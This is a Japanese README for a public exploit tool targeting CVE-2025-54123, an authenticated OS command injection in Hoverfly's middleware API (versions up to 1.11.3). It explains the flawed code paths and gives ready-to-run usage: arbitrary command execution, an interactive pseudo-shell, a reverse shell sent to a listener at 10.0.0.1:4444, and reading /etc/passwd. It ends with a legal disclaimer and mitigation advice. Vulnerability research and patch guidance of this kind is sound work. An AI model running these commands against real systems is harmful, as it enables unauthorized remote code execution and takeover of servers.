
認証済みのHoverfly ≤ 1.11.3(CVE-2025-54123)におけるOSコマンドインジェクションを利用したRCEエクスプロイト。認可されたセキュリティテストのための単一コマンド実行、インタラクティブな疑似シェル、リバースシェルをサポートします。
認証された RCE: Hoverfly ≤ 1.11.3 における OS コマンドインジェクション
| プロパティ | 値 |
|---|---|
| CVE ID | CVE-2025-54123 |
| CVSS スコア | 9.8 — クリティカル |
| CVSS ベクトル | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS コマンドインジェクション), CWE-20 (不適切な入力検証) |
| 製品 | Hoverfly — オープンソースの API シミュレーションツール |
| 影響を受けるバージョン | 1.11.3 までの全バージョン |
| 修正バージョン | 1.12.0 (パッチコミット) |
| アドバイザリ | GHSA-r4h8-hfp2-ggmf |
こちらが、ホワイトボックスおよびブラックボックスの視点からのケーススタディと技術的分析の詳細です https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly はシミュレーション設定を管理するための RESTful な管理 API (デフォルトポート 8888) を公開しています。ミドルウェア管理エンドポイント /api/v2/hoverfly/middleware は、外部ミドルウェアプロセスを定義する binary および script フィールドを含む JSON ボディを受け付けます。
この脆弱性は、3 つのコードレベルの欠陥 の組み合わせに起因します。
不十分な入力検証 — middleware.go:93-96: SetBinary() 関数は binary パラメータを検証やサニタイズなしで受け入れるため、攻撃者は任意の実行可能ファイル(例: bash)を指定できます。
安全でないコマンド実行 — local_middleware.go:14-19: ミドルウェアは exec.Command() を介して実行され、攻撃者が制御する binary および script の値が直接引数として渡されるため、OS コマンドインジェクションが可能になります。
テスト中の即時実行 — hoverfly_service.go:173: API を介してミドルウェアが設定されると、Hoverfly はミドルウェアを実行して即座にテストし、プロキシインターセプト時ではなく設定時にインジェクションされたコマンドをトリガーします。
攻撃者 Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) 認証
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) ペイロード注入
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) 即時実行
│ │ → 攻撃者のコマンドが Hoverfly ││
│ │ プロセスのユーザーとして実行 ││
│ └──────────────────────────────────┘│
│ │
│<── コマンド出力がエラーレスポンスに含まれる ──│ (4) 出力の外部送信
│ │
admin / 設定可能なパスワード)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
エクスプロイトなしでターゲットの到達可能性と認証を確認します:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
ターゲット上で単一の OS コマンドを実行します:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
持続的なシェルセッションに入ります:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
リバースシェルをリスナーに送信します:
# ターミナル 1 — リスナーを起動
nc -lvnp 4444
# ターミナル 2 — エクスプロイトを実行
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
トラフィックを Burp Suite 経由でルーティングして検査します:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
コミット 17e60a9 による修正では、set middleware API をデフォルトで無効にしています。その後のドキュメントの変更(コミット a9d4da7)により、このエンドポイントを公開することのセキュリティ上の影響がユーザーに認識されます。
このツールは、許可されたセキュリティテストおよび教育研究目的でのみ提供されます。 コンピュータシステムへの不正アクセスは、米国コンピュータ詐欺及び悪用取締法(CFAA)および世界各国の同等の法律に基づき違法です。 作成者は本ソフトウェアの誤用に対する一切の責任を負いません。 所有していないシステムをテストする前に、必ず明示的な書面による許可を得てください。
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # 洗練されたエクスプロイト
│ └── raw_exploit.py # オリジナルの raw PoC
├── Images/ # リサーチスクリーンショット
├── Reference/ # 研究用のリファレンスエクスプロイト
├── requirements.txt # Python 依存関係
└── README.md # このファイル
Phantom Hat — セキュリティ研究者
この研究は、教育目的の脆弱性ケーススタディの一環として実施されました。
| フラグ | 説明 | デフォルト |
|---|
-u, --url | ターゲット Hoverfly URL | 必須 |
-U, --username | 管理者ユーザー名 | 必須 |
-P, --password | 管理者パスワード | 必須 |
-c, --command | 実行する OS コマンド | — |
-C, --check | チェックのみモード(エクスプロイトなし) | false |
-i, --interactive | インタラクティブな疑似シェル | false |
--revshell | リバースシェル LHOST:LPORT | — |
--proxy | 127.0.0.1:8080 を経由 | false |
--timeout | リクエストタイムアウト(秒) | 15 |
-v, --verbose | 詳細出力を有効にする | false |
| アクション | 詳細 |
|---|
| アップグレード | Hoverfly を v1.12.0 以降にアップデートしてください。このバージョンでは、set middleware API はデフォルトで無効になっています。 |
| ネットワークセグメンテーション | Hoverfly 管理 API (ポート 8888) へのアクセスを信頼できるネットワークのみに制限します。 |
| 認証 | Hoverfly 管理 API に強力で一意のパスワードを使用します。 |
| 監視 | /api/v2/hoverfly/middleware への予期しない PUT リクエストを監視します。 |